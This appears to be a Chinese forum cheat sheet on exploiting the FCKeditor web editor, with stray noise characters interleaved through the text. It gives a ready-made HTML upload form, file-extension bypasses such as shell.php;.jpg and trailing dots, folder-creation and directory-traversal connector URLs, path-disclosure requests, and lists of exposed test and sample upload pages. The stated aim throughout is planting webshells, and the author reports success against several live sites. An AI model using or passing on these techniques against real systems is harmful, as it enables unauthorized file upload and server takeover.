Fckeditor漏洞利用总结
' e9 I9 y/ l" I# z& `查看编辑器版本
8 J, w/ p7 c6 S% h- l4 s4 WFCKeditor/_whatsnew.html
1 E8 Z J9 b) i; K—————————————————————————————————————————————————————————————% q0 ?$ M, G4 B: n' l
7 M8 `% Z1 I& g& g6 G" x. S- J- X: p2. Version 2.2 版本) k- B" B; B! X1 r: D9 B- r
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
/ l; Z' }8 K/ ?0 }3 z—————————————————————————————————————————————————————————————: n6 l% O! i) \1 n2 P
; g0 c$ J* J* b8 V/ h1 A5 J3 p% N; w4 ]
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
8 b: j" V# k* ^5 d4 O$ E8 d9 d' ^5 b6 V: I<form id="frmUpload" enctype="multipart/form-data"
+ {" V% h! F: z. S7 Raction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>1 L8 M+ }% }! O0 g% P0 k; P' e
<input type="file" name="NewFile" size="50"><br>
4 z6 ?& q9 z2 X+ U<input id="btnUpload" type="submit" value="Upload">
& W% ?& r( M! d0 i0 @' ?</form>
8 h- w! m _# ^, M—————————————————————————————————————————————————————————————
0 e! K! Y E# r7 x- Q
: M% Y; w. U' M. i4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
4 f1 _( J9 v8 ~ V, W6 S. O. T 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
b, x t8 z& C$ C* e% r, l4 a! E 4.1:提交shell.php+空格绕过" J9 E( T; F& j$ _8 j! \
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
# @( x S8 d3 C) v% q% C; R/ v! G 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。8 `5 P& _7 t5 Y8 F( x- |; W. ?
—————————————————————————————————————————————————————————————
" H. {, \# g5 J; x+ C D+ M
" H" }1 \# _; \& k/ R5. 突破建立文件夹1 E% h4 f# d; a2 D+ V
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756846 v* ]. M7 \4 O8 C) l- A
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp8 p; z! k4 o V3 J" s
—————————————————————————————————————————————————————————————
& b/ ?( e% ?9 V" h& M5 \ f! z
& j! G$ S9 V6 E# y2 r( y2 k4 A6. FCKeditor 中test 文件的上传地址
0 n; Z# B) N( t& m4 _/ K- WFCKeditor/editor/filemanager/browser/default/connectors/test.html/ w$ }0 I7 V/ Y6 H+ O; F! W
FCKeditor/editor/filemanager/upload/test.html, e% H; K% c3 h
FCKeditor/editor/filemanager/connectors/test.html5 |, i6 L1 k0 l' Q1 I
FCKeditor/editor/filemanager/connectors/uploadtest.html
8 Q7 f( C2 D8 t3 A, x—————————————————————————————————————————————————————————————
5 ~# h4 m! K& _# e9 j0 B( ^, t p' O. E2 L, j
7.常用上传地址
6 a6 Q, r- ]' r8 Y1 sFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/3 _5 I; A$ N1 E. ~0 N
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
, c1 m! A8 k. M6 z* ^0 iFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)% v0 {" b+ e! E& J- _5 s
JSP 版:. K" {- b0 D7 }" D' E* J0 ]
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
: n* Y1 K+ A* g6 O) |注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
) l$ Z, H( p- E; r; c8 S' A件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
& ~# B4 O4 ]2 w) O/ ~# I—————————————————————————————————————————————————————————————
7 A& a$ k% `, F) D& V& j# D- q0 N; t, K4 e& V
8.其他上传地址& @' b& x6 A. z/ c
FCKeditor/_samples/default.html( |" [# e. H. B; o& ]
FCKeditor/_samples/asp/sample01.asp) e* |0 @! {# D1 y* ^7 N8 l
FCKeditor/_samples/asp/sample02.asp
( u7 w+ q( ~! {FCKeditor/_samples/asp/sample03.asp0 d' j7 k7 g$ }+ s
FCKeditor/_samples/asp/sample04.asp* e& s8 m u2 u4 F- k
一般很多站点都已删除_samples 目录,可以试试。
6 o' [# I9 I* X$ {4 U+ ]9 s+ c wFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。- Z, P; g3 w: e
—————————————————————————————————————————————————————————————; _$ c! c( d; Z$ y
/ `9 E2 g3 Y( P
9.列目录漏洞也可助找上传地址: ]# H! i6 N7 c: w( H2 |2 | N1 c v8 _
Version 2.4.1 测试通过: b3 w# N# t+ d/ k n7 ^- h
修改CurrentFolder 参数使用 ../../来进入不同的目录0 h# R& N+ m: Y* k6 K/ S
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp& t/ R& j0 S. d" p( Q8 _$ T4 Z' e
根据返回的XML 信息可以查看网站所有的目录。: p2 R0 ~( ~% P! A5 N
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F& y$ W1 |7 L. a# R5 `
也可以直接浏览盘符:# j6 [3 |& k$ _& d2 R1 o
JSP 版本:
* J* Q+ G e2 |. |9 S- QFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
h& ~. c/ n/ p- w9 p—————————————————————————————————————————————————————————————
3 N! e0 a; H9 D# J# m: _7 ~6 y3 {4 O0 }, N- S% \3 }
10.爆路径漏洞9 |5 e7 Z8 w% D
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp. g5 ?( h/ l+ O) X' U
—————————————————————————————————————————————————————————————
# i* ?! c- }8 B8 p1 F
( ?( [, ~8 w+ \8 X7 a+ }8 E& I J- a11. FCKeditor 被动限制策略所导致的过滤不严问题
6 Y! I$ j+ p8 N- u3 G% @# e) O 影响版本: FCKeditor x.x <= FCKeditor v2.4.3, N0 b, m7 A2 ~, c6 d
脆弱描述:3 G/ t1 L: m7 M2 h
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
. v0 }; ] d5 S, E, t) Ihtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm; S$ Z, g4 ~: r( L. k) I% v8 Z
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!, s. R7 R5 r' V# W
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。8 @9 _0 e; k8 @& V; p5 U6 r
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!6 s+ x \& I- G. E E `6 s
—————————————————————————————————————————————————————————————
: p+ A j; R4 g* J
A) y' e6 f$ e- T% _12.最古老的漏洞,Type文件没有限制!
4 N; N. X9 i( q 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 4 ~5 h1 M3 q. O; H# E0 h: n
—————————————————————————————————————————————————————————————' S; m% I& B* Q7 f6 k% y6 ~5 e
0 ]4 m8 d2 S ^( N. l===============================================================================================================================================
3 h: v6 _) F( f- x# \ ?- ^+ z- { ~: f3 ^4 U) b8 u( Q, F
FCK编辑器jsp版本漏洞:
( E# F: t8 M! k+ }& L: Q; `9 e' k# f
, R5 B1 g1 e9 Q- K! e! m6 A
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F1 c, l9 Q: Q$ ?, m. g6 t/ T" g
0 l) S! ]' g$ f# }上传马所在目录+ U% [, o2 q+ L4 E: o K; b" ?
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
! Y% Y. D' }0 J& d5 T! B0 u上传shell的地址:
1 h* _- t% L# o5 d+ vhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector9 `+ S' k0 [! a; y/ ?
跟版本有关系.并不是百分百成功. 测试成功几个站.2 a! K c. x4 a
不能通杀.很遗憾.* a3 ?# L @8 c* N- \
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
( y: b; I8 q" h2 c如果以上地址不行可以试试
6 {( o" g2 y: Q% ]& A2 p- v K hFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector2 \+ Q8 R3 _# ?& P0 N8 r9 m
FCKeditor/_samples/
8 k3 Y3 L1 S/ E) b5 x7 b: hFCKeditor/_samples/default.html6 K3 E8 ~# f! e t4 Z% U
FCKeditor/editor/fckeditor.htm' \8 J5 k9 A$ I0 x5 Y
FCKeditor/editor/fckdialog.html
/ B( k A. ?$ M( H+ f% U& f& z; r' O/ d. `
/ I' l+ p3 @6 q9 |
. r" y( s6 Q0 F2 }2 [) S) x% @/ [
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg% C+ Z- ~! N% I/ [1 ^+ B
|